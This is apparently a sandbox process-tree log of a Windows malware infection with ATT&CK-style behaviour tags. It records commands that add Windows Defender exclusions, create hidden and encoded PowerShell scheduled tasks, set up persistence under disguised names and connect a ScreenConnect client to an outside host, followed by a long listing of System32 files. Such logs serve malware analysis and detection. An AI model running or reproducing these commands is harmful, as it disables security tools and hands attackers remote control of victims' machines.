C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\MWApEFojzuXiLU /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\MWApEFojzuXiLU /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\ShsqfzqZgGGaO2 /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\ShsqfzqZgGGaO2 /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\aasozdWqwSKHqgP /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\aasozdWqwSKHqgP /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\aasozdWqwSKHqgP2 /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\aasozdWqwSKHqgP2 /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\arIazdpPSpwgyJiRw2 /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\arIazdpPSpwgyJiRw2 /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\vTGyjTpJfVtyWubCYtk2 /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\System32\Tasks\vTGyjTpJfVtyWubCYtk2 /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\apVYxgZOEctSApDE /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\apVYxgZOEctSApDE /t REG_DWORD /d 0 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gmKSXNeLm" /SC once /ST 00:06:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gmKSXNeLm"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gmKSXNeLm"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NzkPodfYMwfUeZgIy" /SC once /ST 00:25:37 /RU "SYSTEM" /TR "\"C:\Windows\Temp\apVYxgZOEctSApDE\aliRXHIrylHjCgJ\hcELvVb.exe\" Nl /oGKMdidrL 452799 /S" /V1 /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "NzkPodfYMwfUeZgIy"2⤵
-
-
C:\ProgramData\0d465fd5-96c7-4e18-98af-40149515257a\kxetray.exeC:\ProgramData\0d465fd5-96c7-4e18-98af-40149515257a\kxetray.exe -ScanType1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4736 -s 7162⤵
- Program crash
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\WAN Host\wanhost.exe"C:\Program Files (x86)\WAN Host\wanhost.exe"1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files (x86)\WAN Host\wanhost.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\WAN Host\wanhost.exe"C:\Program Files (x86)\WAN Host\wanhost.exe"2⤵
-
-
C:\Program Files (x86)\WAN Host\wanhost.exe"C:\Program Files (x86)\WAN Host\wanhost.exe"2⤵
-
-
C:\Program Files (x86)\WAN Host\wanhost.exe"C:\Program Files (x86)\WAN Host\wanhost.exe"2⤵
-
-
C:\Program Files (x86)\WAN Host\wanhost.exe"C:\Program Files (x86)\WAN Host\wanhost.exe"2⤵
-
-
C:\Program Files (x86)\WAN Host\wanhost.exe"C:\Program Files (x86)\WAN Host\wanhost.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"2⤵
-
-
C:\ProgramData\Chrome\chrome_updater.exeC:\ProgramData\Chrome\chrome_updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boosted.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boosted.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boosted.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boosted.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boosted.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boosted.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exeC:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
-
C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=remote.hallowayproperties.com&p=8041&s=a3715891-1f0e-4618-99af-3daf2909008a&k=BgIAAACkAABSU0ExAAgAAAEAAQDFoyh3BT0UZ267DahfftEwxmAtX0KDfjfe0eFQSBfGSO8nftaO2q1vn0D6w7nF6UPkVKTAitS47YtAaWbQReievQ7DvynvKnOyJbZOflXhBcnxMehl9T2Lkwxn6wwce4423BfV7mbUyiLPqa8ShdOgeAkzdpqNaASUyvPX2nDRzbdE7pq9Cjp819Xu7l4EijeLWc5klkZm146zyC0YnNaY7Id05NhbVbfIvXJHS9ZUu7rFT2G3LCVCUzX18FEOBFUbsKYcQeVOTYtw3RnBBIbRMh1cUNqWKf0KiuCRwENpfKSqEXosoywcSbZIIhcUOK6sJeJCi6SGpIqkNyxgRaDD"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9752 -s 12682⤵
- Program crash
-
-
C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=remote.hallowayproperties.com&p=8041&s=a3715891-1f0e-4618-99af-3daf2909008a&k=BgIAAACkAABSU0ExAAgAAAEAAQDFoyh3BT0UZ267Dah%2fftEwxmAtX0KD%2fj%2fe0eFQSBfGSO8n%2ftaO2q1vn0D6w7nF6UPkVKTAitS47YtAaWbQReievQ7DvynvKnOyJ%2bZOflXhBcnxMehl9T2Lkwxn6wwce4423B%2fV7m%2bUyiLPqa8ShdOgeAkzdpqNaASUyvPX2nDRzbdE7pq9Cjp819Xu7l4EijeLWc5klkZm146zyC0YnNaY7Id05Nh%2bV%2bfIvXJHS9ZUu7rFT2G3LCVCUzX18FEOBFUbsKYcQeVOTYtw3RnBBI%2bRMh1cUNqWK%2f0KiuCRwENpfKSqEXosoywcSbZIIhcUOK6sJeJCi6SGpIqkNyxgRaDD"1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.WindowsClient.exe" "RunRole" "310d6163-04ea-419d-b05e-ae80af2b5bd8" "User"2⤵
-
-
C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (e4339714b25bb126)\ScreenConnect.WindowsClient.exe" "RunRole" "7e509e83-fa2a-4327-8db5-5aaafd66a233" "System"2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exeC:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe1⤵
-
C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "Adobe PDF" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 9752 -ip 97521⤵
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell1⤵
-
C:\Windows\Temp\apVYxgZOEctSApDE\aliRXHIrylHjCgJ\hcELvVb.exeC:\Windows\Temp\apVYxgZOEctSApDE\aliRXHIrylHjCgJ\hcELvVb.exe Nl /oGKMdidrL 452799 /S1⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bdFUuWXJhGRaMzPmKB"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "cmd /C if exist \"C:\Program Files (x86)\HhaNBGcuU\cOXlrJ.dll\" rundll32 \"C:\Program Files (x86)\HhaNBGcuU\cOXlrJ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "aasozdWqwSKHqgP" /V1 /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "aasozdWqwSKHqgP2" /F /xml "C:\Program Files (x86)\HhaNBGcuU\fxcpvxK.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "aasozdWqwSKHqgP"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "aasozdWqwSKHqgP"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MWApEFojzuXiLU" /F /xml "C:\Program Files (x86)\IXzVmqJFDmDU2\zXRmBAz.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ShsqfzqZgGGaO2" /F /xml "C:\ProgramData\rHwmoXVaXOEgCaVB\EnsGfGt.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "arIazdpPSpwgyJiRw2" /F /xml "C:\Program Files (x86)\tzdhLHbIjrNAUNTyxhR\OgStNFP.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "vTGyjTpJfVtyWubCYtk2" /F /xml "C:\Program Files (x86)\lJjXfKfpJVtdC\JwoVLsL.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YVmMShEtQAeKcGULr" /SC once /ST 00:30:02 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\apVYxgZOEctSApDE\vKRHglUm\GgDsUQX.dll\",#1 /ndidF 452799" /V1 /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "YVmMShEtQAeKcGULr"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\jHXQpkfX\XnCUECY.exe"C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\jHXQpkfX\XnCUECY.exe" /S SQ2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"4⤵
- Indirect Command Execution
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"4⤵
- Indirect Command Execution
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True7⤵
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"4⤵
- Indirect Command Execution
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True7⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bdFUuWXJhGRaMzPmKB" /SC once /ST 00:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\SFFnekM.exe\" Ow /S" /V1 /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4736 -ip 47361⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
-
C:\Windows\system32\cmd.execmd1⤵
-
C:\Windows\system32\forfiles.exeC:\Windows\system32\forfiles.exe1⤵
-
C:\Windows\system32\cmd.exe/c echo "0409"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "0ae3b998-9a38-4b72-a4c4-06849441518d_Servicing-Stack.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "69fe178f-26e7-43a9-aa7d-2b616b672dde_eventlogservice.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "6bea57fb-8dfb-4177-9ae8-42e8b3529933_RuntimeDeviceInstall.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@AdvancedKeySettingsNotification.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@AppHelpToast.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@AudioToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@BackgroundAccessToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@bitlockertoastimage.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@edptoastimage.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@EnrollmentToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@language_notification_icon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@optionalfeatures.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@StorageSenseToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@VpnToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@windows-hello-V4.1.gif"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@WindowsHelloFaceToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@WindowsUpdateToastIcon.contrast-black.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@WindowsUpdateToastIcon.contrast-white.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@WindowsUpdateToastIcon.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@WirelessDisplayToast.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "@WLOGO_48x48.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "a"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aadauthhelper.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aadcloudap.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aadjcsp.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aadtb.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aadWamExtension.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AarSvc.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AboutSettingsHandlers.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AboveLockAppHost.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "accessibilitycpl.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "accountaccessor.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AccountsRt.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AcGenral.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AcLayers.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "acledit.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aclui.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "acmigration.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ACPBackgroundManagerPolicy.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "acppage.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "acproxy.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AcSpecfc.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActionCenter.dll_BUP"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActionCenterCPL.dll_BUP"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActionQueue.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActivationClient.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActivationManager.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "activeds.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "activeds.tlb"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActiveHours.png"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActiveSyncCsp.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "ActiveSyncProvider.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "actxprxy.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AcWinRT.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AcXtrnal.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AdaptiveCards.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AddressParser.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adhapi.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adhsvc.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AdmTmpl.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adprovider.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adrclient.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adsldp.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adsldpc.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adsmsext.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adsnt.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "adtschema.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AdvancedEmojiDS.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "AdvancedInstallers"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "advapi32.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "advapi32res.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "advpack.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aeevts.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aeinv.dll"2⤵
-
-
C:\Windows\system32\cmd.exe/c echo "aepic.dll"2⤵
-
-
